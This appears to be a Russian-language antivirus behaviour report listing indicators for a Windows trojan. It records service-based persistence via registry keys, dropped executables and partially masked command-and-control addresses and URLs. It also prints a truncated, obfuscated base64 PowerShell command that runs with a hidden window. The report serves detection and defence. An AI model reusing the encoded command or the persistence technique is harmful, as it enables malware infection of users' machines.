Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\samsrv] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\samsrv] 'ImagePath' = '"<SYSTEM32>\KBDGAE\samsrv.exe"'
- 'samsrv' "<SYSTEM32>\KBDGAE\samsrv.exe"
- 'samsrv' <SYSTEM32>\KBDGAE\samsrv.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABWAG0AcABiAGEAZgAzAD0AKAAoACcAUAAnACsAJwBlAHIAJwApACsAKAAnAGUAJwArACcAdwBrAHkAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AdgA6AHUAcwBFAFIAUAByAG8ARgBJAEwAZQBcAH...
- %HOMEPATH%\wyhzobx\ca1jhtv\myf5gg.exe
- <SYSTEM32>\kbdgae\samsrv.exe
- %HOMEPATH%\wyhzobx\ca1jhtv\myf5gg.exe в <SYSTEM32>\kbdgae\samsrv.exe
- '50.##1.220.50':80
- '51.##.33.122':80
- '54.#7.42.48':8080
- http://cr###men.com/WordPress_01/A/
- http://50.##1.220.50/CCamAD/ZEDQ52BsdE/DIc8ePrlAxw/
- http://54.##.42.48:8080/HC5pHnYtsl7yFUN9WT1/TnvDduahfAe1p/ via 54.#7.42.48
- DNS ASK cr###men.com
- '%HOMEPATH%\wyhzobx\ca1jhtv\myf5gg.exe'
- '<SYSTEM32>\kbdgae\samsrv.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABWAG0AcABiAGEAZgAzAD0AKAAoACcAUAAnACsAJwBlAHIAJwApACsAKAAnAGUAJwArACcAdwBrAHkAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AdgA6AHUAcwBFAFIAUAByAG8ARgBJAEwAZQBcAH...' (со скрытым окном)